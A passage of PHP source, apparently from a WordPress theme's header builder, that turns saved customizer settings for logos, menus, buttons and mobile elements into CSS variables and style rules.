	if ( ! empty( $custom_ms_logo_fontface_slogan_logo ) ) {
		$out .= '--pchb-logo-sm-slogan-font:' . $custom_ms_logo_fontface_slogan_logo . ';';
	}
	if ( ! empty( $custom_ms_logo_fontweight_slogan_logo ) ) {
		$out .= '--pchb-logo-sm-slogan-fw:' . $custom_ms_logo_fontweight_slogan_logo . ';';
	}
	if ( ! empty( $custom_ms_logo_fontstyle_slogan_logo ) ) {
		$out .= '--pchb-logo-sm-slogan-fs:' . $custom_ms_logo_fontstyle_slogan_logo . ';';
	}
	$out .= '}';

	$out .= '.pc-builder-element.pb-logo-sidebar-mobile img{';
	if ( ! empty( $custom_ms_logo_mw ) ) {
		$out .= 'max-width:' . $custom_ms_logo_mw . 'px;';
	}
	if ( ! empty( $custom_ms_logo_mh ) ) {
		$out .= 'max-height:' . $custom_ms_logo_mh . 'px;';
	}
	$out .= '}';

	// Sticky Logo
	$custom_s_logo_mw                     = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_sticky_size_logo_w' );
	$custom_s_logo_mh                     = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_sticky_size_logo_h' );
	$custom_s_logo_fontsize_logo          = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_sticky_font_size_logo' );
	$custom_s_logo_color_logo             = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_sticky_color_logo' );
	$custom_s_logo_fontsize_m_logo        = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_sticky_font_size_m_logo' );
	$custom_s_logo_fontface_logo          = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_sticky_penci_font_for_title' );
	$custom_s_logo_fontweight_logo        = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_sticky_penci_font_weight_title' );
	$custom_s_logo_fontstyle_logo         = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_sticky_penci_font_style_title' );
	$custom_s_logo_fontsize_slogan_logo   = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_sticky_font_size_slogan' );
	$custom_s_logo_color_slogan_logo      = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_sticky_color_slogan' );
	$custom_s_logo_fontsize_slogan_m_logo = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_sticky_font_size_m_slogan' );
	$custom_s_logo_fontface_slogan_logo   = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_sticky_penci_font_for_slogan' );
	$custom_s_logo_fontweight_slogan_logo = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_sticky_penci_font_weight_slogan' );
	$custom_s_logo_fontstyle_slogan_logo  = penci_builder_validate_mod( $header_data, 'penci_header_pb_logo_sticky_penci_font_style_slogan' );

	$out .= '.pc-logo-sticky{';
	if ( ! empty( $custom_s_logo_fontsize_logo ) ) {
		$out .= '--pchb-logo-s-title-size:' . $custom_s_logo_fontsize_logo . 'px;';
	}
	if ( ! empty( $custom_s_logo_color_logo ) ) {
		$out .= '--pchb-logo-s-title-color:' . $custom_s_logo_color_logo . ';';
	}
	if ( ! empty( $custom_s_logo_color_slogan_logo ) ) {
		$out .= '--pchb-logo-s-slogan-color:' . $custom_s_logo_color_slogan_logo . ';';
	}
	if ( ! empty( $custom_s_logo_fontsize_m_logo ) ) {
		$out .= '--pchb-logo-s-title-m-size:' . $custom_s_logo_fontsize_m_logo . 'px;';
	}
	if ( ! empty( $custom_s_logo_fontface_logo ) ) {
		$out .= '--pchb-logo-s-title-font:' . penci_builder_get_font_data( $custom_s_logo_fontface_logo ) . ';';
	}
	if ( ! empty( $custom_s_logo_fontweight_logo ) ) {
		$out .= '--pchb-logo-s-title-fw:' . $custom_s_logo_fontweight_logo . ';';
	}
	if ( ! empty( $custom_s_logo_fontstyle_logo ) ) {
		$out .= '--pchb-logo-s-title-fs:' . $custom_s_logo_fontstyle_logo . ';';
	}
	if ( ! empty( $custom_s_logo_fontsize_slogan_logo ) ) {
		$out .= '--pchb-logo-s-slogan-size:' . $custom_s_logo_fontsize_slogan_logo . 'px;';
	}
	if ( ! empty( $custom_s_logo_fontsize_slogan_m_logo ) ) {
		$out .= '--pchb-logo-s-slogan-m-size:' . $custom_s_logo_fontsize_slogan_m_logo . 'px;';
	}
	if ( ! empty( $custom_s_logo_fontface_slogan_logo ) ) {
		$out .= '--pchb-logo-s-slogan-font:' . $custom_s_logo_fontface_slogan_logo . ';';
	}
	if ( ! empty( $custom_s_logo_fontweight_slogan_logo ) ) {
		$out .= '--pchb-logo-s-slogan-fw:' . $custom_s_logo_fontweight_slogan_logo . ';';
	}
	if ( ! empty( $custom_s_logo_fontstyle_slogan_logo ) ) {
		$out .= '--pchb-logo-s-slogan-fs:' . $custom_s_logo_fontstyle_slogan_logo . ';';
	}
	$out .= '}';

	$out .= '.pc-builder-element.pc-logo-sticky.pc-logo img{';
	if ( ! empty( $custom_s_logo_mw ) ) {
		$out .= 'max-width:' . $custom_s_logo_mw . 'px;';
	}
	if ( ! empty( $custom_s_logo_mh ) ) {
		$out .= 'max-height:' . $custom_s_logo_mh . 'px;';
	}
	$out .= '}';

	// Main Menu
	$main_menu_font        = penci_builder_validate_mod( $header_data, 'penci_header_pb_main_menu_penci_font_for_menu' );
	$main_menu_font_weight = penci_builder_validate_mod( $header_data, 'penci_header_pb_main_menu_penci_font_weight_menu' );
	$main_menu_fs          = penci_builder_validate_mod( $header_data, 'penci_header_pb_main_menu_penci_font_size_lv1' );
	$main_menu_lh          = penci_builder_validate_mod( $header_data, 'penci_header_pb_main_menu_penci_line_height_lv1' );
	$main_menu_fs_drop     = penci_builder_validate_mod( $header_data, 'penci_header_pb_main_menu_penci_font_size_drop' );
	$main_menu_tt          = penci_builder_validate_mod( $header_data, 'penci_header_pb_main_menu_penci_menu_uppercase' );
	$main_menu_mg          = penci_builder_validate_mod( $header_data, 'penci_header_pb_main_menu_penci_lv1_item_spacing' );
	$main_menu_mgi         = penci_builder_validate_mod( $header_data, 'penci_header_pb_main_menu_penci_lv1_item_margin' );

	$out .= '.pc-builder-element.pc-main-menu{';
	if ( ! empty( $main_menu_font ) ) {
		$out .= '--pchb-main-menu-font:' . penci_builder_get_font_data( $main_menu_font ) . ';';
	}
	if ( ! empty( $main_menu_font_weight ) ) {
		$out .= '--pchb-main-menu-fw:' . $main_menu_font_weight . ';';
	}
	if ( ! empty( $main_menu_fs ) ) {
		$out .= '--pchb-main-menu-fs:' . $main_menu_fs . 'px;';
	}
	if ( ! empty( $main_menu_fs_drop ) ) {
		$out .= '--pchb-main-menu-fs_l2:' . $main_menu_fs_drop . 'px;';
	}
	if ( ! empty( $main_menu_mg ) ) {
		$out .= '--pchb-main-menu-mg:' . $main_menu_mg . 'px;';
	}
	if ( ! empty( $main_menu_mgi ) ) {
		$out .= '--pchb-main-menu-mgi:' . $main_menu_mgi . 'px;';
	}
	if ( ! empty( $main_menu_lh ) ) {
		$out .= '--pchb-main-menu-lh:' . $main_menu_lh . 'px;';
	}
	if ( 'enable' == $main_menu_tt ) {
		$out .= '--pchb-main-menu-tt: none;';
	}

	$out .= '}';

	// Secondary Menu
	$second_menu_font        = penci_builder_validate_mod( $header_data, 'penci_header_pb_second_menu_penci_font_for_menu' );
	$second_menu_font_weight = penci_builder_validate_mod( $header_data, 'penci_header_pb_second_menu_penci_font_weight_menu' );
	$second_menu_fs          = penci_builder_validate_mod( $header_data, 'penci_header_pb_second_menu_penci_font_size_lv1' );
	$second_menu_lh          = penci_builder_validate_mod( $header_data, 'penci_header_pb_second_menu_penci_line_height_lv1' );
	$second_menu_fs_drop     = penci_builder_validate_mod( $header_data, 'penci_header_pb_second_menu_penci_font_size_drop' );
	$second_menu_tt          = penci_builder_validate_mod( $header_data, 'penci_header_pb_second_menu_penci_menu_uppercase' );
	$second_menu_mg          = penci_builder_validate_mod( $header_data, 'penci_header_pb_second_menu_penci_lv1_item_spacing' );
	$second_menu_mgi         = penci_builder_validate_mod( $header_data, 'penci_header_pb_second_menu_penci_lv1_item_margin' );

	$out .= '.pc-builder-element.pc-second-menu{';
	if ( ! empty( $second_menu_font ) ) {
		$out .= '--pchb-second-menu-font:' . penci_builder_get_font_data( $second_menu_font ) . ';';
	}
	if ( ! empty( $second_menu_font_weight ) ) {
		$out .= '--pchb-second-menu-fw:' . $second_menu_font_weight . ';';
	}
	if ( ! empty( $second_menu_fs ) ) {
		$out .= '--pchb-second-menu-fs:' . $second_menu_fs . 'px;';
	}
	if ( ! empty( $second_menu_lh ) ) {
		$out .= '--pchb-second-menu-lh:' . $second_menu_lh . 'px;';
	}
	if ( ! empty( $second_menu_fs_drop ) ) {
		$out .= '--pchb-second-menu-fs_l2:' . $second_menu_fs_drop . 'px;';
	}
	if ( ! empty( $second_menu_mg ) ) {
		$out .= '--pchb-second-menu-mg:' . $second_menu_mg . 'px;';
	}
	if ( ! empty( $second_menu_mgi ) ) {
		$out .= '--pchb-second-menu-mgi:' . $second_menu_mgi . 'px;';
	}
	if ( 'enable' == $second_menu_tt ) {
		$out .= '--pchb-second-menu-tt: none;';
	}
	$out .= '}';

	// Third Menu
	$third_menu_font        = penci_builder_validate_mod( $header_data, 'penci_header_pb_third_menu_penci_font_for_menu' );
	$third_menu_font_weight = penci_builder_validate_mod( $header_data, 'penci_header_pb_third_menu_penci_font_weight_menu' );
	$third_menu_fs          = penci_builder_validate_mod( $header_data, 'penci_header_pb_third_menu_penci_font_size_lv1' );
	$third_menu_lh          = penci_builder_validate_mod( $header_data, 'penci_header_pb_third_menu_penci_line_height_lv1' );
	$third_menu_fs_drop     = penci_builder_validate_mod( $header_data, 'penci_header_pb_third_menu_penci_font_size_drop' );
	$third_menu_tt          = penci_builder_validate_mod( $header_data, 'penci_header_pb_third_menu_penci_menu_uppercase' );
	$third_menu_mg          = penci_builder_validate_mod( $header_data, 'penci_header_pb_third_menu_penci_lv1_item_spacing' );
	$third_menu_mgi         = penci_builder_validate_mod( $header_data, 'penci_header_pb_third_menu_penci_lv1_item_margin' );

	$out .= '.pc-builder-element.pc-third-menu{';
	if ( ! empty( $third_menu_font ) ) {
		$out .= '--pchb-third-menu-font:' . penci_builder_get_font_data( $third_menu_font ) . ';';
	}
	if ( ! empty( $third_menu_font_weight ) ) {
		$out .= '--pchb-third-menu-fw:' . $third_menu_font_weight . ';';
	}
	if ( ! empty( $third_menu_fs ) ) {
		$out .= '--pchb-third-menu-fs:' . $third_menu_fs . 'px;';
	}
	if ( ! empty( $third_menu_lh ) ) {
		$out .= '--pchb-third-menu-lh:' . $third_menu_lh . 'px;';
	}
	if ( ! empty( $third_menu_fs_drop ) ) {
		$out .= '--pchb-third-menu-fs_l2:' . $third_menu_fs_drop . 'px;';
	}
	if ( ! empty( $third_menu_mg ) ) {
		$out .= '--pchb-third-menu-mg:' . $third_menu_mg . 'px;';
	}
	if ( ! empty( $third_menu_mgi ) ) {
		$out .= '--pchb-third-menu-mgi:' . $third_menu_mgi . 'px;';
	}
	if ( 'enable' == $third_menu_tt ) {
		$out .= '--pchb-third-menu-tt: none;';
	}

	$out .= '}';

	// Button 1
	$button_1_spacing         = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_spacing_setting' );
	$button_1_border_color    = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_border_color' );
	$button_1_border_hv_color = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_border_hv_color' );
	$button_1_bg_color        = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_bg_color' );
	$button_1_bg_hv_color     = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_bg_hv_color' );
	$button_1_txt_color       = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_txt_color' );
	$button_1_txt_hv_color    = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_txt_hv_color' );

	$out .= '.penci-builder.penci-builder-button.button-1{';
	if ( ! empty( $button_1_spacing ) ) {
		$out .= penci_builder_spacing_extract_data( $button_1_spacing );
	}
	if ( ! empty( $button_1_border_color ) ) {
		$out .= 'border-color:' . $button_1_border_color . ';';
	}
	if ( ! empty( $button_1_bg_color ) ) {
		$out .= 'background-color:' . $button_1_bg_color . ';';
	}
	if ( ! empty( $button_1_txt_color ) ) {
		$out .= 'color:' . $button_1_txt_color . ';';
	}
	$out .= '}';

	$out .= '.penci-builder.penci-builder-button.button-1:hover{';
	if ( ! empty( $button_1_border_hv_color ) ) {
		$out .= 'border-color:' . $button_1_border_hv_color . ';';
	}
	if ( ! empty( $button_1_bg_hv_color ) ) {
		$out .= 'background-color:' . $button_1_bg_hv_color . ';';
	}
	if ( ! empty( $button_1_txt_hv_color ) ) {
		$out .= 'color:' . $button_1_txt_hv_color . ';';
	}
	$out .= '}';

	// Button 2
	$button_2_spacing         = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_2_spacing_setting' );
	$button_2_border_color    = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_2_border_color' );
	$button_2_border_hv_color = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_2_border_hv_color' );
	$button_2_bg_color        = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_2_bg_color' );
	$button_2_bg_hv_color     = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_2_bg_hv_color' );
	$button_2_txt_color       = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_2_txt_color' );
	$button_2_txt_hv_color    = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_2_txt_hv_color' );

	$out .= '.penci-builder.penci-builder-button.button-2{';
	if ( ! empty( $button_2_spacing ) ) {
		$out .= penci_builder_spacing_extract_data( $button_2_spacing );
	}
	if ( ! empty( $button_2_border_color ) ) {
		$out .= 'border-color:' . $button_2_border_color . ';';
	}
	if ( ! empty( $button_2_bg_color ) ) {
		$out .= 'background-color:' . $button_2_bg_color . ';';
	}
	if ( ! empty( $button_2_txt_color ) ) {
		$out .= 'color:' . $button_2_txt_color . ';';
	}
	$out .= '}';

	$out .= '.penci-builder.penci-builder-button.button-2:hover{';
	if ( ! empty( $button_2_border_hv_color ) ) {
		$out .= 'border-color:' . $button_2_border_hv_color . ';';
	}
	if ( ! empty( $button_2_bg_hv_color ) ) {
		$out .= 'background-color:' . $button_2_bg_hv_color . ';';
	}
	if ( ! empty( $button_2_txt_hv_color ) ) {
		$out .= 'color:' . $button_2_txt_hv_color . ';';
	}
	$out .= '}';

	// Button 3
	$button_3_spacing         = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_3_spacing_setting' );
	$button_3_border_color    = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_3_border_color' );
	$button_3_border_hv_color = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_3_border_hv_color' );
	$button_3_bg_color        = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_3_bg_color' );
	$button_3_bg_hv_color     = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_3_bg_hv_color' );
	$button_3_txt_color       = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_3_txt_color' );
	$button_3_txt_hv_color    = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_3_txt_hv_color' );

	$out .= '.penci-builder.penci-builder-button.button-3{';
	if ( ! empty( $button_3_spacing ) ) {
		$out .= penci_builder_spacing_extract_data( $button_3_spacing );
	}
	if ( ! empty( $button_3_border_color ) ) {
		$out .= 'border-color:' . $button_3_border_color . ';';
	}
	if ( ! empty( $button_3_bg_color ) ) {
		$out .= 'background-color:' . $button_3_bg_color . ';';
	}
	if ( ! empty( $button_3_txt_color ) ) {
		$out .= 'color:' . $button_3_txt_color . ';';
	}
	$out .= '}';

	$out .= '.penci-builder.penci-builder-button.button-3:hover{';
	if ( ! empty( $button_3_border_hv_color ) ) {
		$out .= 'border-color:' . $button_3_border_hv_color . ';';
	}
	if ( ! empty( $button_3_bg_hv_color ) ) {
		$out .= 'background-color:' . $button_3_bg_hv_color . ';';
	}
	if ( ! empty( $button_3_txt_hv_color ) ) {
		$out .= 'color:' . $button_3_txt_hv_color . ';';
	}
	$out .= '}';

	// Button Mobile
	$button_m_1_spacing         = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_mobile_spacing_setting' );
	$button_m_1_border_color    = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_mobile_border_color' );
	$button_m_1_border_hv_color = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_mobile_border_hv_color' );
	$button_m_1_bg_color        = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_mobile_bg_color' );
	$button_m_1_bg_hv_color     = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_mobile_bg_hv_color' );
	$button_m_1_txt_color       = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_mobile_txt_color' );
	$button_m_1_txt_hv_color    = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_mobile_txt_hv_color' );

	$out .= '.penci-builder.penci-builder-button.button-mobile-1{';
	if ( ! empty( $button_m_1_spacing ) ) {
		$out .= penci_builder_spacing_extract_data( $button_m_1_spacing );
	}
	if ( ! empty( $button_m_1_border_color ) ) {
		$out .= 'border-color:' . $button_m_1_border_color . ';';
	}
	if ( ! empty( $button_m_1_bg_color ) ) {
		$out .= 'background-color:' . $button_m_1_bg_color . ';';
	}
	if ( ! empty( $button_m_1_txt_color ) ) {
		$out .= 'color:' . $button_m_1_txt_color . ';';
	}
	$out .= '}';

	$out .= '.penci-builder.penci-builder-button.button-mobile-1:hover{';
	if ( ! empty( $button_m_1_border_hv_color ) ) {
		$out .= 'border-color:' . $button_m_1_border_hv_color . ';';
	}
	if ( ! empty( $button_m_1_bg_hv_color ) ) {
		$out .= 'background-color:' . $button_m_1_bg_hv_color . ';';
	}
	if ( ! empty( $button_m_1_txt_hv_color ) ) {
		$out .= 'color:' . $button_m_1_txt_hv_color . ';';
	}
	$out .= '}';

	// Button Mobile 2
	$button_m_2_spacing         = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_mobile_2_spacing_setting' );
	$button_m_2_border_color    = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_mobile_2_border_color' );
	$button_m_2_border_hv_color = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_mobile_2_border_hv_color' );
	$button_m_2_bg_color        = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_mobile_2_bg_color' );
	$button_m_2_bg_hv_color     = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_mobile_2_bg_hv_color' );
	$button_m_2_txt_color       = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_mobile_2_txt_color' );
	$button_m_2_txt_hv_color    = penci_builder_validate_mod( $header_data, 'penci_header_pb_button_mobile_2_txt_hv_color' );

	$out .= '.penci-builder.penci-builder-button.button-mobile-2{';
	if ( ! empty( $button_m_2_spacing ) ) {
		$out .= penci_builder_spacing_extract_data( $button_m_2_spacing );
	}
	if ( ! empty( $button_m_2_border_color ) ) {
		$out .= 'border-color:' . $button_m_2_border_color . ';';
	}
	if ( ! empty( $button_m_2_bg_color ) ) {
		$out .= 'background-color:' . $button_m_2_bg_color . ';';
	}
	if ( ! empty( $button_m_2_txt_color ) ) {
		$out .= 'color:' . $button_m_2_txt_color . ';';
	}
	$out .= '}';

	$out .= '.penci-builder.penci-builder-button.button-mobile-2:hover{';
	if ( ! empty( $button_m_2_border_hv_color ) ) {
		$out .= 'border-color:' . $button_m_2_border_hv_color . ';';
	}
	if ( ! empty( $button_m_2_bg_hv_color ) ) {
		$out .= 'background-color:' . $button_m_2_bg_hv_color . ';';
	}
	if ( ! empty( $button_m_2_txt_hv_color ) ) {
		$out .= 'color:' . $button_m_2_txt_hv_color . ';';
	}
	$out .= '}';

	// mobile sidebar

	$out .= penci_builder_get_area_css( $header_data, 'sidebar', '', 'header_mobile', '.penci-builder-mobile-sidebar-nav.penci-menu-hbg' );

	// Mobile Menu

	$dropdown_fn  = penci_builder_validate_mod( $header_data, 'penci_header_pb_dropdown_menu_penci_font_for_menu' );
	$dropdown_fw  = penci_builder_validate_mod( $header_data, 'penci_header_pb_dropdown_menu_penci_font_weight_menu' );
	$dropdown_lv1 = penci_builder_validate_mod( $header_data, 'penci_header_pb_dropdown_menu_penci_font_size_lv1' );
	$dropdown_lv2 = penci_builder_validate_mod( $header_data, 'penci_header_pb_dropdown_menu_penci_font_size_drop' );
	$dropdown_tt  = penci_builder_validate_mod( $header_data, 'penci_header_pb_dropdown_menu_penci_menu_uppercase' );

	$out .= '.pc-builder-menu.pc-dropdown-menu{';
	if ( ! empty( $dropdown_fn ) ) {
		$out .= '--pchb-dd-fn:' . penci_builder_get_font_data( $dropdown_fn ) . ';';
	}
	if ( ! empty( $dropdown_fw ) ) {
		$out .= '--pchb-dd-fw:' . $dropdown_fw . ';';
	}
	if ( ! empty( $dropdown_lv1 ) ) {
		$out .= '--pchb-dd-lv1:' . $dropdown_lv1 . 'px;';
	}
	if ( ! empty( $dropdown_lv2 ) ) {
		$out .= '--pchb-dd-lv2:' . $dropdown_lv2 . 'px;';
	}
	$out .= '}';

	if ( 'enable' == $dropdown_tt ) {
		$out .= '.pc-builder-menu.pc-dropdown-menu .menu li a{text-transform: none;}';
	}

	$element_spacings = array(
		'penci_header_pb_block_spacing'                      => '.penci-header-builder .penci-header-block-1',
		'penci_header_pb_block_2_spacing'                    => '.penci-header-builder .penci-header-block-2',
		'penci_header_pb_cart_icon_section_spacing'          => '.penci-header-builder .pb-header-builder.cart-icon',
		'penci_header_pb_compare_icon_section_spacing'       => '.penci-header-builder .penci-builder-elements.compare-icon',
		'penci_header_pb_data_time_spacing'                  => '.penci-header-builder .penci-builder-element.penci-data-time-format',
		'penci_header_pb_dropdown_menu_spacing'              => '.pc-builder-element.pc-builder-menu.pc-dropdown-menu',
		'penci_header_pb_hamburger_menu_spacing'             => '.penci-header-builder .pc-builder-element.penci-menuhbg-wapper',
		'penci_header_pb_logo_spacing'                       => '.penci-header-builder .pc-builder-element.pc-logo',
		'penci_header_pb_main_menu_spacing'                  => '.penci-header-builder .pc-builder-element.pc-builder-menu',
		'penci_header_pb_mobile_menu_spacing'                => '.penci_navbar_mobile .navigation.mobile-menu',
		'penci_header_pb_news_ticker_spacing'                => '.penci-header-builder .penci-builder-element.pctopbar-item',
		'penci_header_search_spacing'                        => '.penci-header-builder .pc-builder-element.penci-top-search',
		'penci_header_pb_second_menu_spacing'                => '.penci-header-builder .pc-builder-element.pc-second-menu',
		'penci_header_pb_third_menu_spacing'                 => '.penci-header-builder .pc-builder-element.pc-third-menu',
		'penci_header_builder_pb_shortcode_spacing'          => '.penci-header-builder .penci-builder-element.penci-shortcodes',
		'penci_header_builder_pb_shortcode_2_spacing'        => '.penci-header-builder .penci-builder-element.penci-shortcodes-2',
		'penci_header_builder_pb_shortcode_3_spacing'        => '.penci-header-builder .penci-builder-element.penci-shortcodes-3',
		'penci_header_builder_pb_shortcode_mobile_spacing'   => '.penci_navbar_mobile .penci-builder-element.penci-shortcodes-mobile,.penci-header-builder .penci-builder-element.penci-shortcodes-mobile',
		'penci_header_pb_social_icon_section_spacing'        => '.penci-header-builder .header-social.penci-builder-element.desktop-social',
		'penci_header_pb_wishlist_icon_section_spacing'      => '.penci-header-builder .pc-builder-element.wishlist-icon',
		'penci_header_pb_login_register_spacing'             => '.penci-header-builder .pc-header-element.pc-login-register',
		'penci_header_pb_login_register_mobile_spacing'      => '.penci-header-builder .pc-header-element.pc-login-register-mobile',
		'penci_header_pb_search_form_menu_spacing'           => '.penci-header-builder .penci-builder-element.pc-search-form',
		'penci_header_pb_search_form_sidebar_menu_spacing'   => '.penci-builder-mobile-sidebar-nav .penci-builder-element.pc-search-form-sidebar',
		'penci_header_mobile_topbar_spacing_setting'         => '.penci-mobile-topbar',
		'penci_header_mobile_midbar_spacing_setting'         => '.penci-mobile-midbar',
		'penci_header_mobile_bottombar_spacing_setting'      => '.penci-mobile-bottombar',
		'penci_header_sticky_top_spacing_setting'            => '.penci-desktop-sticky-top',
		'penci_header_sticky_mid_spacing_setting'            => '.penci-desktop-sticky-mid',
		'penci_header_sticky_bottom_spacing_setting'         => '.penci-desktop-sticky-bottom',
		'penci_header_mobile_sidebar_spacing_setting'        => '.penci-mobile-sidebar-content-wrapper',
		'penci_header_desktop_sticky_spacing_setting'        => '.penci_builder_sticky_header_desktop,',
		'penci_header_pb_vertical_line1_spacing'             => '.penci-builder-element.vertical-line-1',
		'penci_header_pb_vertical_line2_spacing'             => '.penci-builder-element.vertical-line-2',
		'penci_header_pb_vertical_line3_spacing'             => '.penci-builder-element.vertical-line-3',
		'penci_header_pb_vertical_line4_spacing'             => '.penci-builder-element.vertical-line-4',
		'penci_header_pb_vertical_line5_spacing'             => '.penci-builder-element.vertical-line-5',
		'penci_header_pb_vertical_line_mobile1_spacing'      => '.penci-builder-element.vertical-line-mobile-1',
		'penci_header_pb_vertical_line_mobile2_spacing'      => '.penci-builder-element.vertical-line-mobile-2',
		'penci_header_search_btnspacing'                     => '.pc-builder-element.penci-top-search .search-click',
		'penci_header_pb_cart_icon_section_btnspacing'       => '.pb-header-builder.cart-icon',
		'penci_header_pb_compare_icon_section_btnspacing'    => '.penci-builder-elements.pcheader-icon.compare-icon > a',
		'penci_header_pb_mobile_menu_btnspacing'             => '.navigation .button-menu-mobile',
		'penci_header_pb_hamburger_menu_btnspacing'          => '.pc-builder-element a.penci-menuhbg-toggle',
		'penci_header_pb_logo_sidebar_spacing'               => '.penci-builder-mobile-sidebar-nav .pc-builder-element.pb-logo-sidebar-mobile',
		'penci_header_pb_logo_sticky_spacing'                => '.pc-builder-element.pc-logo-sticky',
		'penci_header_pb_social_icon_mobile_section_spacing' => '.penci-builder-mobile-sidebar-nav .penci-builder-element.mobile-social',
		'penci_header_builder_pb_html_mobile_spacing'        => '.penci-builder-mobile-sidebar-nav .penci-builder-element.penci-html-ads-mobile',
		'penci_header_builder_pb_html_mobile_2_spacing'      => '.penci-builder-mobile-sidebar-nav .penci-builder-element.penci-html-ads-mobile-2',
		'penci_header_builder_pb_html_spacing'               => '.penci-builder-element.penci-html-ads-1',
		'penci_header_builder_pb_html_2_spacing'             => '.penci-builder-element.penci-html-ads-2',
		'penci_header_builder_pb_html_3_spacing'             => '.penci-builder-element.penci-html-ads-3',
		'penci_header_pb_darkmode_spacing'                   => '.pc-dmswitcher-element',
		'penci_header_pb_bookmark_spacing'                   => '.penci-header-bookmark-element > a',
	);

	foreach ( $element_spacings as $element => $selector ) {
		$numbers = penci_builder_validate_mod( $header_data, $element );
		if ( ! empty( $numbers ) ) {
			$out .= $selector . '{';
			$out .= penci_builder_spacing_extract_data( $numbers );
			$out .= '}';
		}
	}

	$color_css = array(
		'penci_header_search_icon_color'                   => '.pc-builder-element.penci-top-search .search-click',
		'penci_header_search_icon_hv_color'                => '.pc-builder-element.penci-top-search .search-click:hover',
		'penci_header_search_icon_bcolor'                  => array( 'border-color' => '.pc-builder-element.penci-top-search .search-click' ),
		'penci_header_search_icon_bhcolor'                 => array( 'border-color' => '.pc-builder-element.penci-top-search .search-click:hover' ),
		'penci_header_search_button_bgcolor'               => array( 'background-color' => '.pc-builder-element.penci-top-search .search-click' ),
		'penci_header_search_button_bghcolor'              => array( 'background-color' => '.pc-builder-element.penci-top-search .search-click:hover' ),
		'penci_header_search_btnborder_style'              => array( 'border-style' => '.pc-builder-element.penci-top-search .search-click' ),
		'penci_header_pb_data_time_color'                  => '.penci-builder-element.penci-data-time-format',
		'penci_header_pb_login_register_color'             => '.pc-header-element.pc-login-register a',
		'penci_header_pb_login_register_hv_color'          => '.pc-header-element.pc-login-register a:hover',
		'penci_header_pb_login_register_dropdown_color'    => '.pc-header-element.pc-login-register .pclogin-sub li a',
		'penci_header_pb_login_register_dropdown_hv_color' => '.pc-header-element.pc-login-register .pclogin-sub li a:hover',

		'penci_header_pb_login_register_mobile_color'                => '.pc-header-element.pc-login-register-mobile a',
		'penci_header_pb_login_register_mobile_hv_color'             => '.pc-header-element.pc-login-register-mobile a:hover',
		'penci_header_pb_login_register_mobile_dropdown_color'       => '.pc-header-element.pc-login-register-mobile .pclogin-sub li a',
		'penci_header_pb_login_register_mobile_dropdown_hv_color'    => '.pc-header-element.pc-login-register-mobile .pclogin-sub li a:hover',
		// main menu
		'penci_header_pb_main_menu_penci_menu_color'                 => '.pc-builder-element.pc-main-menu .navigation .menu > li > a,.pc-builder-element.pc-main-menu .navigation ul.menu ul.sub-menu a',
		'penci_header_pb_main_menu_penci_menu_hv_color'              => '.pc-builder-element.pc-main-menu .navigation .menu > li > a:hover,.pc-builder-element.pc-main-menu .navigation .menu > li:hover > a,.pc-builder-element.pc-main-menu .navigation ul.menu ul.sub-menu a:hover',
		'penci_header_pb_main_menu_penci_menu_active_color'          => '.pc-builder-element.pc-main-menu .navigation .menu li.current-menu-item > a,.pc-builder-element.pc-main-menu .navigation .menu > li.current_page_item > a,.pc-builder-element.pc-main-menu .navigation .menu > li.current-menu-ancestor > a,.pc-builder-element.pc-main-menu .navigation .menu > li.current-menu-item > a',
		'penci_header_pb_main_menu_penci_submenu_color'              => '.pc-builder-element.pc-main-menu .navigation ul.menu ul.sub-menu li a',
		'penci_header_pb_main_menu_penci_submenu_hv_color'           => '.pc-builder-element.pc-main-menu .navigation ul.menu ul.sub-menu li a:hover',
		'penci_header_pb_main_menu_penci_submenu_activecl'           => '.pc-builder-element.pc-main-menu .navigation .menu .sub-menu li.current-menu-item > a,.pc-builder-element.pc-main-menu .navigation .menu .sub-menu > li.current_page_item > a,.pc-builder-element.pc-main-menu .navigation .menu .sub-menu > li.current-menu-ancestor > a,.pc-builder-element.pc-main-menu .navigation .menu .sub-menu > li.current-menu-item > a',
		'penci_header_pb_main_menu_penci_menu_bg_color'              => array(
			'background-color' => '.pc-builder-element.pc-builder-menu.pc-main-menu .navigation .menu > li > a',
		),
